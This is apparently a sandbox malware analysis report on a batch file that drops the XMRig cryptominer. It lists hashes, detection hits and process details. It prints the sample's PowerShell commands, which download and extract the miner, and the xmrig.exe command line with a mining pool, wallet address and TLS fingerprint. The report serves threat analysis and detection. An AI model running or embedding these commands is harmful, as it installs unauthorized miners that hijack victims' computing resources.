Overview
overview
10Static
static
1tesy - Copy (10).bat
windows10-1703-x64
10tesy - Copy (11).bat
windows10-1703-x64
10tesy - Copy (12).bat
windows10-1703-x64
10tesy - Copy (13).bat
windows10-1703-x64
10tesy - Copy (14).bat
windows10-1703-x64
10tesy - Copy (2).bat
windows10-1703-x64
10tesy - Copy (3).bat
windows10-1703-x64
10tesy - Copy (4).bat
windows10-1703-x64
10tesy - Copy (5).bat
windows10-1703-x64
10tesy - Copy (6).bat
windows10-1703-x64
10tesy - Copy (7).bat
windows10-1703-x64
10tesy - Copy (8).bat
windows10-1703-x64
10tesy - Copy (9).bat
windows10-1703-x64
10tesy - Copy.bat
windows10-1703-x64
10tesy.bat
windows10-1703-x64
10Analysis
-
max time kernel
1796s -
max time network
1791s -
platform
windows10-1703_x64 -
resource
win10-20231220-en -
resource tags
arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system -
submitted
31-12-2023 14:43
Static task
static1
Behavioral task
behavioral1
Sample
tesy - Copy (10).bat
Resource
win10-20231220-en
Behavioral task
behavioral2
Sample
tesy - Copy (11).bat
Resource
win10-20231220-en
Behavioral task
behavioral3
Sample
tesy - Copy (12).bat
Resource
win10-20231215-en
Behavioral task
behavioral4
Sample
tesy - Copy (13).bat
Resource
win10-20231220-en
Behavioral task
behavioral5
Sample
tesy - Copy (14).bat
Resource
win10-20231215-en
Behavioral task
behavioral6
Sample
tesy - Copy (2).bat
Resource
win10-20231215-en
Behavioral task
behavioral7
Sample
tesy - Copy (3).bat
Resource
win10-20231215-en
Behavioral task
behavioral8
Sample
tesy - Copy (4).bat
Resource
win10-20231220-en
Behavioral task
behavioral9
Sample
tesy - Copy (5).bat
Resource
win10-20231215-en
Behavioral task
behavioral10
Sample
tesy - Copy (6).bat
Resource
win10-20231215-en
Behavioral task
behavioral11
Sample
tesy - Copy (7).bat
Resource
win10-20231215-en
Behavioral task
behavioral12
Sample
tesy - Copy (8).bat
Resource
win10-20231215-en
Behavioral task
behavioral13
Sample
tesy - Copy (9).bat
Resource
win10-20231215-en
Behavioral task
behavioral14
Sample
tesy - Copy.bat
Resource
win10-20231215-en
General
-
Target
tesy - Copy (4).bat
-
Size
608B
-
MD5
727c8da0478af118c957ae60f7161cab
-
SHA1
cf18105b8659e93bbd2824fa35ef1bae7b395301
-
SHA256
97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
-
SHA512
d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01
Malware Config
Extracted
https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip
Signatures
-
XMRig Miner payload 64 IoCs
resource yara_rule behavioral8/files/0x000600000001abc3-119.dat family_xmrig behavioral8/files/0x000600000001abc3-119.dat xmrig behavioral8/memory/4796-122-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-123-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-126-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-127-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-128-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-131-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-132-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-137-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-136-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-135-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-134-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-133-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-138-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-139-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-140-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-141-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-142-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-143-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-144-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-145-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-146-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-147-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-148-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-149-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-150-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-151-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-152-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-153-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-154-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-155-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-156-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-157-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-158-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-159-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-160-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-161-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-162-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-163-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-164-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-165-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-166-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-167-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-168-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-169-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-170-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-171-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-172-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-173-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-174-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-175-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-176-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-177-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-178-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-179-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-180-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-181-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-182-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-183-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-184-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-185-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-186-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig behavioral8/memory/4796-187-0x00007FF681C80000-0x00007FF682783000-memory.dmp xmrig -
Blocklisted process makes network request 2 IoCs
flow pid Process 2 4792 powershell.exe 5 4792 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 4796 xmrig.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 4792 powershell.exe 4792 powershell.exe 4792 powershell.exe 4228 powershell.exe 4228 powershell.exe 4228 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 4792 powershell.exe Token: SeDebugPrivilege 4228 powershell.exe Token: SeLockMemoryPrivilege 4796 xmrig.exe Token: SeLockMemoryPrivilege 4796 xmrig.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4796 xmrig.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 4040 wrote to memory of 4792 4040 cmd.exe 15 PID 4040 wrote to memory of 4792 4040 cmd.exe 15 PID 4040 wrote to memory of 4228 4040 cmd.exe 76 PID 4040 wrote to memory of 4228 4040 cmd.exe 76 PID 4040 wrote to memory of 4796 4040 cmd.exe 77 PID 4040 wrote to memory of 4796 4040 cmd.exe 77
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"1⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4792
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (4).bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4040 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4228
-
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exexmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b142⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4796
-
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
-
Filesize
3.2MB
MD54b2275e8df65719009314a0a23a45558
SHA195fbef4629f6ace3dba90df63a9825e503e3c7eb
SHA2564b8e7ff95e742973fb9c8c38ac68f6a1e692b05415036e1c92ee201b3b0e6699
SHA512afb324ca3377dc8076d739dde9424ece01b32936b61fd92d5897625f296572637c061068a22a45fbd3e9565be9cb6e35b8f5b9f6c13c5f612443c03d1b04a91f
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Filesize
7.9MB
MD5e2fe87cc2c7dab8ca6516620dccd1381
SHA1f714ec0448325435103519452610cf7aadf8bbba
SHA256d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4
SHA5128455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6